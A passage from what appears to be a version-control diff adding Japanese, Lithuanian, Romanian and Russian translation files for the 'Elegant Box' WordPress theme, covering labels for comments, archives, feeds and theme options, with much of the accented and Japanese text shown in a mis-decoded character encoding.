ãƒ•ã‚©ãƒ«ãƒ€ã«æ­£ã—ã„スタイルをインストールã—ã¦ãã ã•ã„。" + +#: functions.php:200 +msgid "Search" +msgstr "検索" + +#: functions.php:204 +msgid "Using google custom search engine." +msgstr "Google カスタムサーãƒã‚¨ãƒ³ã‚¸ãƒ³ã‚’使用ã™ã‚‹ã€‚" + +#: functions.php:207 +msgid "CX:" +msgstr "CX:" + +#: functions.php:210 +msgid "Find name=\"cx\" in the Search box code of Google Custom Search Engine, and type the value here.
    For example: 014782006753236413342:1ltfrybsbz4" +msgstr "Google カスタムサーãƒã‚¨ãƒ³ã‚¸ãƒ³ã® サーãƒãƒœãƒƒã‚¯ã‚¹ ã‹ã‚‰ name=\"cx\" を探ã—ã¦ã€ã“ã“ã«å…¥åŠ›ã—ã¦ãã ã•ã„。例:014782006753236413342:1ltfrybsbz4" + +#: functions.php:219 +msgid "Menubar" +msgstr "メニューãƒãƒ¼" + +#: functions.php:223 +msgid "Show pages as menu." +msgstr "ページをメニューã«è¡¨ç¤ºã™ã‚‹ã€‚" + +#: functions.php:227 +msgid "Show categories as menu." +msgstr "カテゴリをメニューã«è¡¨ç¤ºã™ã‚‹" + +#: functions.php:238 +msgid "Notice" +msgstr "通知ãƒãƒ¼" + +#: functions.php:240 +#: functions.php:266 +msgid "HTML enabled" +msgstr "HTML ã‚¿ã‚°ã¯æœ‰åйã§ã™" + +#: functions.php:245 +msgid "Show notice." +msgstr "警告を表示ã™ã‚‹" + +#: functions.php:249 +msgid "Display an icon in the notice bar." +msgstr "警告ãƒãƒ¼ã«ã‚¢ã‚¤ã‚³ãƒ³ã‚’表示ã™ã‚‹ã€‚" + +#: functions.php:264 +msgid "Showcase" +msgstr "ショーケース" + +#: functions.php:271 +msgid "This showcase will display at the top of sidebar." +msgstr "ã“ã®ã‚·ãƒ§ãƒ¼ã‚±ãƒ¼ã‚¹ã¯ã‚µã‚¤ãƒ‰ãƒãƒ¼ã®å…ˆé ­ã«è¡¨ç¤ºã•れã¾ã™ã€‚" + +#: functions.php:273 +#: functions.php:297 +msgid "Who can see?" +msgstr "ã ã‚ŒãŒè¦‹ã‚‹ã“ã¨ãŒã§ãã¾ã™ã‹?" + +#: functions.php:276 +#: functions.php:300 +msgid "Registered Users" +msgstr "登録ã•れã¦ã„るユーザ" + +#: functions.php:280 +#: functions.php:304 +msgid "Commentators" +msgstr "コメントã—ãŸäºº" + +#: functions.php:284 +#: functions.php:308 +msgid "Visitors" +msgstr "ã™ã¹ã¦ã®è¨ªå•者" + +#: functions.php:295 +msgid "This showcase will display at the bottom of sidebar." +msgstr "ã“ã®ã‚·ãƒ§ãƒ¼ã‚±ãƒ¼ã‚¹ã¯ã‚µã‚¤ãƒ‰ãƒãƒ¼ã®å…ˆé ­ã«è¡¨ç¤ºã•れã¾ã™ã€‚" + +#: functions.php:324 +msgid "Posts" +msgstr "投稿" + +#: functions.php:328 +msgid "Show categories on posts." +msgstr "投稿ã«ã‚«ãƒ†ã‚´ãƒªã‚’表示ã™ã‚‹ã€‚" + +#: functions.php:332 +msgid "Show tags on posts." +msgstr "投稿ã«ã‚¿ã‚°ã‚’表示ã™ã‚‹ã€‚" + +#: functions.php:342 +msgid "Comments" +msgstr "コメント" + +#: functions.php:346 +msgid "Submit comments with Ctrl+Enter." +msgstr "Ctrl+Enterã§ã‚³ãƒ¡ãƒ³ãƒˆé€ä¿¡ã™ã‚‹ã€‚" + +#: functions.php:356 +msgid "Feed" +msgstr "フィード" + +#: functions.php:360 +msgid "Using custom feed." +msgstr "カスタムフィードを使用ã™ã‚‹ã€‚" + +#: functions.php:362 +msgid "Feed URL:" +msgstr "フィード URL:" + +#: functions.php:367 +msgid "Show the feed reader list when mouse over on feed button." +msgstr "マウスãŒãƒ•ã‚£ãƒ¼ãƒ‰ãƒœã‚¿ãƒ³ä¸Šã«æ¥ãŸæ™‚ã€RSSリーダーã®ãƒªã‚¹ãƒˆã‚’表示ã™ã‚‹ã€‚" + +#: functions.php:375 +msgid "Save Changes" +msgstr "変更をä¿å­˜ã™ã‚‹" + +#: header.php:26 +msgid "RSS 2.0 - all posts" +msgstr "RSS 2.0 - all posts" + +#: header.php:27 +msgid "RSS 2.0 - all comments" +msgstr "RSS 2.0 - all comments" + +#: header.php:122 +#: header.php:124 +#: header.php:127 +#: header.php:133 +#: header.php:135 +msgid "Type text to search here..." +msgstr "検索..." + +#: header.php:144 +msgid "Home" +msgstr "ホーム" + +#: header.php:153 +msgid "Subscribe to this blog..." +msgstr "ã“ã®ãƒ–ログã®ãƒ•ィードを購読ã™ã‚‹..." + +#: header.php:153 +msgid "RSS feed" +msgstr "RSS feed" + +#: header.php:156 +#: header.php:157 +#: header.php:158 +#: header.php:159 +#: header.php:160 +#: header.php:161 +#: header.php:162 +#: header.php:163 +msgid "Subscribe with " +msgstr "Subscribe with " + +#: header.php:156 +msgid "Youdao" +msgstr "Youdao" + +#: header.php:157 +msgid "Xian Guo" +msgstr "Xian Guo" + +#: header.php:158 +msgid "Zhua Xia" +msgstr "Zhua Xia" + +#: header.php:159 +msgid "Google" +msgstr "Google" + +#: header.php:160 +msgid "My Yahoo!" +msgstr "My Yahoo!" + +#: header.php:161 +msgid "newsgator" +msgstr "newsgator" + +#: header.php:162 +msgid "Bloglines" +msgstr "Bloglines" + +#: header.php:163 +msgid "iNezha" +msgstr "iNezha" + +#: index.php:35 +#: single.php:17 +msgid " | Categories: " +msgstr " | カテゴリー: " + +#: index.php:38 +#: single.php:20 +msgid " | Tags: " +msgstr " | ã‚¿ã‚°: " + +#: index.php:45 +msgid "Read more..." +msgstr "ç¶šãを読む..." + +#: links.php:18 +msgid "Edit links" +msgstr "リンクを編集" + +#: links.php:24 +msgid "Blogroll" +msgstr "Blogroll" + +#: sidebar.php:28 +msgid "Theme Styles : " +msgstr "テーマã®ã‚¹ã‚¿ã‚¤ãƒ« : " + +#: sidebar.php:34 +msgid "Switch to " +msgstr "切り替ãˆ" + +#: single.php:32 +msgid "Leave a comment" +msgstr "コメントをã©ã†ãž" + +#: single.php:34 +msgid "Trackback" +msgstr "トラックãƒãƒƒã‚¯" + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/elegant-box/languages/lt_LT.mo Binary file web/wp-content/themes/elegant-box/languages/lt_LT.mo has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/elegant-box/languages/lt_LT.po --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/elegant-box/languages/lt_LT.po Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,527 @@ +msgid "" +msgstr "" +"Project-Id-Version: Elegant Box 4.0\n" +"Report-Msgid-Bugs-To: \n" +"POT-Creation-Date: 2009-05-06 20:58+0800\n" +"PO-Revision-Date: \n" +"Last-Translator: Mantas Malcius \n" +"Language-Team: \n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=UTF-8\n" +"Content-Transfer-Encoding: 8bit\n" +"X-Poedit-Language: Chinese\n" +"X-Poedit-Country: CHINA\n" +"X-Poedit-SourceCharset: utf-8\n" +"X-Poedit-KeywordsList: _e;__\n" +"X-Poedit-Basepath: D:\\workspace\\php\\blog\\wp-content\\themes\\elegantbox\n" +"X-Poedit-SearchPath-0: .\n" + +#: 404.php:7 +msgid "Error 404 - Not Found" +msgstr "404 klaida – Nerasta" + +#: archive.php:16 +msgid "Search Results" +msgstr "PaieÅ¡kos rezultatai" + +#: archive.php:20 +#, php-format +msgid "Archive for the ‘%1$s’ Category" +msgstr "Kategorijos ‘%1$s’ archyvas" + +#: archive.php:23 +#, php-format +msgid "Posts Tagged ‘%1$s’" +msgstr "Ä®raÅ¡ai, pažymÄ—ti ‘%1$s’" + +#: archive.php:26 +#: archive.php:29 +#: archive.php:32 +#, php-format +msgid "Archive for %1$s" +msgstr "Kategorijos ‘%1$s’ archyvas" + +#: archive.php:26 +#: archives.php:17 +#: comments.php:63 +#: functions.php:472 +#: index.php:33 +#: links.php:20 +#: page.php:11 +#: single.php:15 +msgid "F jS, Y" +msgstr "Y.m.d" + +#: archive.php:29 +msgid "F, Y" +msgstr "Y.m" + +#: archive.php:32 +msgid "Y" +msgstr "Y" + +#: archive.php:35 +msgid "Author Archive" +msgstr "Autoriaus archyvas" + +#: archive.php:38 +msgid "Blog Archives" +msgstr "TinklaraÅ¡Äio archyvai" + +#: archive.php:53 +#: comments.php:63 +#: functions.php:472 +#, php-format +msgid "%1$s at %2$s" +msgstr "%1$s %2$s" + +#: archive.php:53 +msgid "l, F jS, Y" +msgstr "l, Y.m.d" + +#: archive.php:53 +#: comments.php:63 +#: functions.php:472 +msgid "H:i" +msgstr "G:i" + +#: archive.php:53 +#: index.php:50 +msgid "0 comments" +msgstr "Komentarų: 0" + +#: archive.php:53 +#: index.php:50 +msgid "1 comment" +msgstr "Komentarų: 1" + +#: archive.php:53 +#: index.php:50 +#, php-format +msgid "% comments" +msgstr "Komentarų: %" + +#: archive.php:53 +#: archives.php:16 +#: comments.php:68 +#: comments.php:111 +#: functions.php:481 +#: index.php:31 +#: links.php:16 +#: page.php:10 +#: single.php:13 +msgid "Edit" +msgstr "Redaguoti" + +#: archive.php:54 +msgid "Categories: " +msgstr "Kategorijos: " + +#: archive.php:55 +msgid "Tags: " +msgstr "Žymos: " + +#: archive.php:62 +#: archives.php:45 +#: index.php:61 +#: links.php:44 +#: page.php:32 +#: single.php:61 +msgid "Sorry, no posts matched your criteria." +msgstr "Deja, įrašų pagal jÅ«sų kriterijus rasti nepavyko." + +#: archive.php:83 +#: index.php:78 +msgid "« Newer Entries" +msgstr "« Naujesni įraÅ¡ai" + +#: archive.php:84 +#: index.php:79 +msgid "Older Entries »" +msgstr "Senesni įraÅ¡ai »" + +#: archives.php:17 +#: links.php:20 +#: page.php:11 +msgid "Update: " +msgstr "Atnaujinimas: " + +#: comments.php:10 +msgid "Enter your password to view comments." +msgstr "Ä®veskite savo slaptažodį, kad pamatytumÄ—te komentarus." + +#: comments.php:66 +#: functions.php:476 +#: functions.php:478 +msgid "Reply" +msgstr "Atsakyti" + +#: comments.php:67 +#: functions.php:480 +msgid "Quote" +msgstr "Cituoti" + +#: comments.php:75 +#: functions.php:488 +msgid "Your comment is awaiting moderation." +msgstr "JÅ«sų komentaras laukia patvirtinimo." + +#: comments.php:97 +msgid " trackbacks" +msgstr " atsektys" + +#: comments.php:100 +msgid "Show" +msgstr "Rodyti" + +#: comments.php:101 +msgid "Hide" +msgstr "SlÄ—pti" + +#: comments.php:130 +msgid "Comment pages" +msgstr "Komentarų puslapiai" + +#: comments.php:145 +msgid "No comments yet." +msgstr "Komentarų dar nÄ—ra." + +#: comments.php:154 +msgid "Comments are closed." +msgstr "Komentavimo galimybÄ— Å¡iame įraÅ¡e yra iÅ¡jungta." + +#: comments.php:168 +#, php-format +msgid "You must be logged in to post a comment." +msgstr "JÅ«s turite bÅ«ti prisijungÄ™, jei norite paraÅ¡yti komentarÄ…." + +#: comments.php:188 +msgid "Logged in as" +msgstr "PrisijungÄ™ kaip" + +#: comments.php:189 +msgid "Log out of this account" +msgstr "Atsijungti nuo Å¡ios paskyros" + +#: comments.php:189 +msgid "Logout »" +msgstr "Atsijungti »" + +#: comments.php:196 +#, php-format +msgid "Welcome back %s." +msgstr "Sveiki sugrįžę, %s." + +#: comments.php:197 +msgid "Change »" +msgstr "Keisti »" + +#: comments.php:198 +msgid "Close »" +msgstr "Uždaryti »" + +#: comments.php:205 +msgid "Name" +msgstr "Vardas" + +#: comments.php:205 +#: comments.php:209 +msgid "(required)" +msgstr "(bÅ«tinas)" + +#: comments.php:209 +msgid "E-Mail (will not be published)" +msgstr "E. paÅ¡tas (neskelbiamas)" + +#: comments.php:213 +msgid "Website" +msgstr "Internetinis puslapis (nebÅ«tinas)" + +#: comments.php:232 +msgid "Subscribe to comments feed" +msgstr "Prenumeruoti komentarų srauto RSS" + +#: comments.php:238 +msgid "Cancel" +msgstr "AtÅ¡aukti" + +#: comments.php:240 +msgid "Submit Comment" +msgstr "Paskelbti komentarÄ…" + +#: footer.php:2 +msgid "TOP" +msgstr "Ä® VIRŠŲ" + +#: footer.php:22 +msgid "Copyright © " +msgstr "Autoriaus teisÄ—s © " + +#: footer.php:31 +msgid " | Powered by WordPress" +msgstr " | Sistema: WordPress" + +#: footer.php:32 +msgid " | Theme by NeoEase" +msgstr " | Temos autorius: NeoEase" + +#: functions.php:143 +#: functions.php:163 +msgid "Current Theme Options" +msgstr "Temos parinktys" + +#: functions.php:168 +msgid "Style" +msgstr "Stilius" + +#: functions.php:172 +msgid "Allow visitors to change the style." +msgstr "Leisti lankytojams pasikeisti stilių." + +#: functions.php:175 +msgid "Default style:" +msgstr "Numatytasis stilius:" + +#: functions.php:188 +msgid "Please install a valid style in the /styles/ folder." +msgstr "Ä®diekite teisingÄ… stilių /styles/ aplanke." + +#: functions.php:200 +msgid "Search" +msgstr "PaieÅ¡ka" + +#: functions.php:204 +msgid "Using google custom search engine." +msgstr "Naudoti Google tinkintÄ… paieÅ¡kÄ…." + +#: functions.php:207 +msgid "CX:" +msgstr "CX:" + +#: functions.php:210 +msgid "Find name=\"cx\" in the Search box code of Google Custom Search Engine, and type the value here.
    For example: 014782006753236413342:1ltfrybsbz4" +msgstr "Raskite name=\"cx\" Google Custom Search Engine paieÅ¡kos laukelio kode bei įraÅ¡ykite jo reiÅ¡mÄ™ Äia.
    Pavyzdžiui: 014782006753236413342:1ltfrybsbz4" + +#: functions.php:219 +msgid "Menubar" +msgstr "Meniu juosta" + +#: functions.php:223 +msgid "Show pages as menu." +msgstr "Rodyti puslapius kaip meniu." + +#: functions.php:227 +msgid "Show categories as menu." +msgstr "Rodyti kategorijas kaip meniu." + +#: functions.php:238 +msgid "Notice" +msgstr "PraneÅ¡imas" + +#: functions.php:240 +#: functions.php:266 +msgid "HTML enabled" +msgstr "HTML įgalintas" + +#: functions.php:245 +msgid "Show notice." +msgstr "Rodyti praneÅ¡imÄ…." + +#: functions.php:249 +msgid "Display an icon in the notice bar." +msgstr "PraneÅ¡imų juostoje rodyti piktogramÄ…." + +#: functions.php:264 +msgid "Showcase" +msgstr "Skydelis" + +#: functions.php:271 +msgid "This showcase will display at the top of sidebar." +msgstr "Å is skydelis bus rodomas Å¡oninÄ—s juostos virÅ¡uje." + +#: functions.php:273 +#: functions.php:297 +msgid "Who can see?" +msgstr "Kas gali matyti?" + +#: functions.php:276 +#: functions.php:300 +msgid "Registered Users" +msgstr "Registruoti nariai" + +#: functions.php:280 +#: functions.php:304 +msgid "Commentators" +msgstr "Komentatoriai" + +#: functions.php:284 +#: functions.php:308 +msgid "Visitors" +msgstr "Lankytojai" + +#: functions.php:295 +msgid "This showcase will display at the bottom of sidebar." +msgstr "Å is skydelis bus rodomas Å¡oninÄ—s juostos apaÄioje." + +#: functions.php:324 +msgid "Posts" +msgstr "Ä®raÅ¡ai" + +#: functions.php:328 +msgid "Show categories on posts." +msgstr "Prie įrašų rodyti kategorijas." + +#: functions.php:332 +msgid "Show tags on posts." +msgstr "Prie įrašų rodyti žymas." + +#: functions.php:342 +msgid "Comments" +msgstr "Komentarai" + +#: functions.php:346 +msgid "Submit comments with Ctrl+Enter." +msgstr "Skelbti komentarus su Ctrl+Enter." + +#: functions.php:356 +msgid "Feed" +msgstr "Srautas" + +#: functions.php:360 +msgid "Using custom feed." +msgstr "Pasirinktinis RSS srautas." + +#: functions.php:362 +msgid "Feed URL:" +msgstr "Srauto URL:" + +#: functions.php:367 +msgid "Show the feed reader list when mouse over on feed button." +msgstr "Rodyti skaityklių sÄ…rašą, kai pelÄ— užvedama ant RSS srauto mygtuko." + +#: functions.php:375 +msgid "Save Changes" +msgstr "IÅ¡saugoti pokyÄius" + +#: header.php:26 +msgid "RSS 2.0 - all posts" +msgstr "RSS 2.0 - visi įraÅ¡ai" + +#: header.php:27 +msgid "RSS 2.0 - all comments" +msgstr "RSS 2.0 - visi komentarai" + +#: header.php:122 +#: header.php:124 +#: header.php:127 +#: header.php:133 +#: header.php:135 +msgid "Type text to search here..." +msgstr "Ä®veskite, ko ieÅ¡kote..." + +#: header.php:144 +msgid "Home" +msgstr "Pradžia" + +#: header.php:153 +msgid "Subscribe to this blog..." +msgstr "Prenumeruoti Å¡io tinklaraÅ¡Äio RSS..." + +#: header.php:153 +msgid "RSS feed" +msgstr "RSS srautas" + +#: header.php:156 +#: header.php:157 +#: header.php:158 +#: header.php:159 +#: header.php:160 +#: header.php:161 +#: header.php:162 +#: header.php:163 +msgid "Subscribe with " +msgstr "Prenumeruoti su " + +#: header.php:156 +msgid "Youdao" +msgstr "Youdao" + +#: header.php:157 +msgid "Xian Guo" +msgstr "Xian Guo" + +#: header.php:158 +msgid "Zhua Xia" +msgstr "Zhua Xia" + +#: header.php:159 +msgid "Google" +msgstr "Google" + +#: header.php:160 +msgid "My Yahoo!" +msgstr "My Yahoo!" + +#: header.php:161 +msgid "newsgator" +msgstr "newsgator" + +#: header.php:162 +msgid "Bloglines" +msgstr "Bloglines" + +#: header.php:163 +msgid "iNezha" +msgstr "iNezha" + +#: index.php:35 +#: single.php:17 +msgid " | Categories: " +msgstr " | Kategorijos: " + +#: index.php:38 +#: single.php:20 +msgid " | Tags: " +msgstr " | Žymos: " + +#: index.php:45 +msgid "Read more..." +msgstr "Skaityti toliau..." + +#: links.php:18 +msgid "Edit links" +msgstr "Redaguoti nuorodas" + +#: links.php:24 +msgid "Blogroll" +msgstr "BlogjuostÄ—" + +#: sidebar.php:28 +msgid "Theme Styles : " +msgstr "Temos stiliai : " + +#: sidebar.php:34 +msgid "Switch to " +msgstr "Pakeisti į " + +#: single.php:32 +msgid "Leave a comment" +msgstr "Palikite komentarÄ…" + +#: single.php:34 +msgid "Trackback" +msgstr "Atsektis" + +#~ msgid "Meta" +#~ msgstr "Administravimas" +#~ msgid "Description:" +#~ msgstr "ApibÅ«dinimas:" +#~ msgid "Keywords:" +#~ msgstr "Raktažodžiai:" +#~ msgid "( Separate keywords with commas )" +#~ msgstr "( Atskirkite raktažodžius kableliais )" +#~ msgid "Categories & Tags" +#~ msgstr "Kategorijos ir žymos" +#~ msgid "No posts found. Try a different search?" +#~ msgstr "Ä®rašų nerasta. IeÅ¡kosite dar kartÄ…?" + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/elegant-box/languages/ro_RO.mo Binary file web/wp-content/themes/elegant-box/languages/ro_RO.mo has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/elegant-box/languages/ro_RO.po --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/elegant-box/languages/ro_RO.po Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,514 @@ +msgid "" +msgstr "" +"Project-Id-Version: Elegant Box 4.0\n" +"Report-Msgid-Bugs-To: \n" +"POT-Creation-Date: 2009-05-06 21:03+0800\n" +"PO-Revision-Date: \n" +"Last-Translator: mg12 \n" +"Language-Team: \n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=UTF-8\n" +"Content-Transfer-Encoding: 8bit\n" +"X-Poedit-Language: Chinese\n" +"X-Poedit-Country: CHINA\n" +"X-Poedit-SourceCharset: utf-8\n" +"X-Poedit-KeywordsList: _e;__\n" +"X-Poedit-Basepath: ..\n" +"X-Poedit-SearchPath-0: .\n" + +#: 404.php:7 +msgid "Error 404 - Not Found" +msgstr "Eroare 404 - Nu a fost găsit" + +#: archive.php:16 +msgid "Search Results" +msgstr "Rezultatele Căutării" + +#: archive.php:20 +#, php-format +msgid "Archive for the ‘%1$s’ Category" +msgstr "Arhivă pentru Categoria ‘%1$s’" + +#: archive.php:23 +#, php-format +msgid "Posts Tagged ‘%1$s’" +msgstr "Posturi cu tagul ‘%1$s’" + +#: archive.php:26 +#: archive.php:29 +#: archive.php:32 +#, php-format +msgid "Archive for %1$s" +msgstr "Arhivă pentru %1$s" + +#: archive.php:26 +#: archives.php:17 +#: comments.php:63 +#: functions.php:472 +#: index.php:33 +#: links.php:20 +#: page.php:11 +#: single.php:15 +msgid "F jS, Y" +msgstr "j F Y" + +#: archive.php:29 +msgid "F, Y" +msgstr "F Y" + +#: archive.php:32 +msgid "Y" +msgstr "Y" + +#: archive.php:35 +msgid "Author Archive" +msgstr "Arhiva Autorului" + +#: archive.php:38 +msgid "Blog Archives" +msgstr "Arhiva Blogului" + +#: archive.php:53 +#: comments.php:63 +#: functions.php:472 +#, php-format +msgid "%1$s at %2$s" +msgstr "%1$s la %2$s" + +#: archive.php:53 +msgid "l, F jS, Y" +msgstr "l, j F Y" + +#: archive.php:53 +#: comments.php:63 +#: functions.php:472 +msgid "H:i" +msgstr "HÅži" + +#: archive.php:53 +#: index.php:50 +msgid "0 comments" +msgstr "0 comentarii" + +#: archive.php:53 +#: index.php:50 +msgid "1 comment" +msgstr "1 comentariu" + +#: archive.php:53 +#: index.php:50 +#, php-format +msgid "% comments" +msgstr "% comentarii" + +#: archive.php:53 +#: archives.php:16 +#: comments.php:68 +#: comments.php:111 +#: functions.php:481 +#: index.php:31 +#: links.php:16 +#: page.php:10 +#: single.php:13 +msgid "Edit" +msgstr "Editează" + +#: archive.php:54 +msgid "Categories: " +msgstr "CategoriiÅž" + +#: archive.php:55 +msgid "Tags: " +msgstr "Taguri:" + +#: archive.php:62 +#: archives.php:45 +#: index.php:61 +#: links.php:44 +#: page.php:32 +#: single.php:61 +msgid "Sorry, no posts matched your criteria." +msgstr "ÃŽmi pare rău, nu sunt posturi după acest criteriu." + +#: archive.php:83 +#: index.php:78 +msgid "« Newer Entries" +msgstr "« ÃŽnsemnări mai noi" + +#: archive.php:84 +#: index.php:79 +msgid "Older Entries »" +msgstr "ÃŽnsemnări mai vechi »" + +#: archives.php:17 +#: links.php:20 +#: page.php:11 +msgid "Update: " +msgstr "Actualizează:" + +#: comments.php:10 +msgid "Enter your password to view comments." +msgstr "ÃŽntruduceÅ£i parola pentru a vedea comentariile." + +#: comments.php:66 +#: functions.php:476 +#: functions.php:478 +msgid "Reply" +msgstr "Răspunde" + +#: comments.php:67 +#: functions.php:480 +msgid "Quote" +msgstr "Citat" + +#: comments.php:75 +#: functions.php:488 +msgid "Your comment is awaiting moderation." +msgstr "Comentariul dumneavoastră aÅŸteaptă să fie aprobat." + +#: comments.php:97 +msgid " trackbacks" +msgstr " trackbacks" + +#: comments.php:100 +msgid "Show" +msgstr "Arată" + +#: comments.php:101 +msgid "Hide" +msgstr "Ascunde" + +#: comments.php:130 +msgid "Comment pages" +msgstr "Paginile cu comentarii" + +#: comments.php:145 +msgid "No comments yet." +msgstr "Nici un comentariu momentan." + +#: comments.php:154 +msgid "Comments are closed." +msgstr "Comentariile sunt închise." + +#: comments.php:168 +#, php-format +msgid "You must be logged in to post a comment." +msgstr "Trebuie să fii logat pentru a posta un comentariu." + +#: comments.php:188 +msgid "Logged in as" +msgstr "Logat ca" + +#: comments.php:189 +msgid "Log out of this account" +msgstr "IeÅŸire din cont" + +#: comments.php:189 +msgid "Logout »" +msgstr "IeÅŸire »" + +#: comments.php:196 +#, php-format +msgid "Welcome back %s." +msgstr "Bun venit înapoi %s." + +#: comments.php:197 +msgid "Change »" +msgstr "Schimbă »" + +#: comments.php:198 +msgid "Close »" +msgstr "ÃŽnchide »" + +#: comments.php:205 +msgid "Name" +msgstr "Nume" + +#: comments.php:205 +#: comments.php:209 +msgid "(required)" +msgstr "(obligatoriu)" + +#: comments.php:209 +msgid "E-Mail (will not be published)" +msgstr "E-Mail (nu va fi publicat)" + +#: comments.php:213 +msgid "Website" +msgstr "Website" + +#: comments.php:232 +msgid "Subscribe to comments feed" +msgstr "Abonează-te la comentarii prin feed" + +#: comments.php:238 +msgid "Cancel" +msgstr "Anulează" + +#: comments.php:240 +msgid "Submit Comment" +msgstr "Comentează" + +#: footer.php:2 +msgid "TOP" +msgstr "SUS" + +#: footer.php:22 +msgid "Copyright © " +msgstr "Copyright © " + +#: footer.php:31 +msgid " | Powered by WordPress" +msgstr " | Powered by WordPress" + +#: footer.php:32 +msgid " | Theme by NeoEase" +msgstr " | Theme by NeoEase" + +#: functions.php:143 +#: functions.php:163 +msgid "Current Theme Options" +msgstr "OpÅ£iunile temei curente" + +#: functions.php:168 +msgid "Style" +msgstr "Stil" + +#: functions.php:172 +msgid "Allow visitors to change the style." +msgstr "Permite vizitatorilor să schimbe stilul." + +#: functions.php:175 +msgid "Default style:" +msgstr "Stil implicit:" + +#: functions.php:188 +msgid "Please install a valid style in the /styles/ folder." +msgstr "InstalaÅ£i un stil valid în folderul /styles/" + +#: functions.php:200 +msgid "Search" +msgstr "Caută" + +#: functions.php:204 +msgid "Using google custom search engine." +msgstr "FoloseÅŸte căutarea personalizată de la google pentru motorul de căutare." + +#: functions.php:207 +msgid "CX:" +msgstr "CX:" + +#: functions.php:210 +msgid "Find name=\"cx\" in the Search box code of Google Custom Search Engine, and type the value here.
    For example: 014782006753236413342:1ltfrybsbz4" +msgstr "Găseşte name=\"cx\" in the Search box code of Google Custom Search Engine, and type the value here.
    De exemplu: 014782006753236413342:1ltfrybsbz4" + +#: functions.php:219 +msgid "Menubar" +msgstr "Bara de meniu" + +#: functions.php:223 +msgid "Show pages as menu." +msgstr "Arată paginile ca meniu." + +#: functions.php:227 +msgid "Show categories as menu." +msgstr "Arată categoriile ca meniu." + +#: functions.php:238 +msgid "Notice" +msgstr "Notificare" + +#: functions.php:240 +#: functions.php:266 +msgid "HTML enabled" +msgstr "HTML Activat" + +#: functions.php:245 +msgid "Show notice." +msgstr "Arată notificarea." + +#: functions.php:249 +msgid "Display an icon in the notice bar." +msgstr "AfiÅŸează o iconiţă in bara de notificare." + +#: functions.php:264 +msgid "Showcase" +msgstr "Arată caseta" + +#: functions.php:271 +msgid "This showcase will display at the top of sidebar." +msgstr "Acestă casetă va apărea deasupra slidebar-ului." + +#: functions.php:273 +#: functions.php:297 +msgid "Who can see?" +msgstr "Cine poate vedea?" + +#: functions.php:276 +#: functions.php:300 +msgid "Registered Users" +msgstr "Utilizatorii ÃŽnregistraÅ£i" + +#: functions.php:280 +#: functions.php:304 +msgid "Commentators" +msgstr "Comentatori" + +#: functions.php:284 +#: functions.php:308 +msgid "Visitors" +msgstr "Vizitatori" + +#: functions.php:295 +msgid "This showcase will display at the bottom of sidebar." +msgstr "Acestă casetă va apărea sub slidebar." + +#: functions.php:324 +msgid "Posts" +msgstr "" + +#: functions.php:328 +msgid "Show categories on posts." +msgstr "Arată categoriile în posturi." + +#: functions.php:332 +msgid "Show tags on posts." +msgstr "Arată tag-urile în posturi." + +#: functions.php:342 +msgid "Comments" +msgstr "" + +#: functions.php:346 +msgid "Submit comments with Ctrl+Enter." +msgstr "" + +#: functions.php:356 +msgid "Feed" +msgstr "Feed" + +#: functions.php:360 +msgid "Using custom feed." +msgstr "FoloseÅŸte feed personalizat." + +#: functions.php:362 +msgid "Feed URL:" +msgstr "Feed URL:" + +#: functions.php:367 +msgid "Show the feed reader list when mouse over on feed button." +msgstr "Arată lista feed reader când cursorul este pe butonul feed." + +#: functions.php:375 +msgid "Save Changes" +msgstr "Salvează Schimbările" + +#: header.php:26 +msgid "RSS 2.0 - all posts" +msgstr "RSS 2.0 - toate posturile" + +#: header.php:27 +msgid "RSS 2.0 - all comments" +msgstr "RSS 2.0 - toate comentariile" + +#: header.php:122 +#: header.php:124 +#: header.php:127 +#: header.php:133 +#: header.php:135 +msgid "Type text to search here..." +msgstr "" + +#: header.php:144 +msgid "Home" +msgstr "Acasă" + +#: header.php:153 +msgid "Subscribe to this blog..." +msgstr "Abonează-te la acest blog..." + +#: header.php:153 +msgid "RSS feed" +msgstr "RSS feed" + +#: header.php:156 +#: header.php:157 +#: header.php:158 +#: header.php:159 +#: header.php:160 +#: header.php:161 +#: header.php:162 +#: header.php:163 +msgid "Subscribe with " +msgstr "Abonează-te cu" + +#: header.php:156 +msgid "Youdao" +msgstr "Youdao" + +#: header.php:157 +msgid "Xian Guo" +msgstr "Xian Guo" + +#: header.php:158 +msgid "Zhua Xia" +msgstr "Zhua Xia" + +#: header.php:159 +msgid "Google" +msgstr "Google" + +#: header.php:160 +msgid "My Yahoo!" +msgstr "My Yahoo!" + +#: header.php:161 +msgid "newsgator" +msgstr "Newsgator" + +#: header.php:162 +msgid "Bloglines" +msgstr "Bloglines" + +#: header.php:163 +msgid "iNezha" +msgstr "iNezha" + +#: index.php:35 +#: single.php:17 +msgid " | Categories: " +msgstr " | Categorii: " + +#: index.php:38 +#: single.php:20 +msgid " | Tags: " +msgstr " | Taguri: " + +#: index.php:45 +msgid "Read more..." +msgstr "CiteÅŸte mai departe..." + +#: links.php:18 +msgid "Edit links" +msgstr "Editează linkurile" + +#: links.php:24 +msgid "Blogroll" +msgstr "Blogroll" + +#: sidebar.php:28 +msgid "Theme Styles : " +msgstr "Stilurile temei :" + +#: sidebar.php:34 +msgid "Switch to " +msgstr "Schimbă în" + +#: single.php:32 +msgid "Leave a comment" +msgstr "Lasă un comentariu" + +#: single.php:34 +msgid "Trackback" +msgstr "Trackback" + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/elegant-box/languages/ru_RU.mo Binary file web/wp-content/themes/elegant-box/languages/ru_RU.mo has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/elegant-box/languages/ru_RU.po --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/elegant-box/languages/ru_RU.po Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,514 @@ +msgid "" +msgstr "" +"Project-Id-Version: Elegant Box 4.0\n" +"Report-Msgid-Bugs-To: \n" 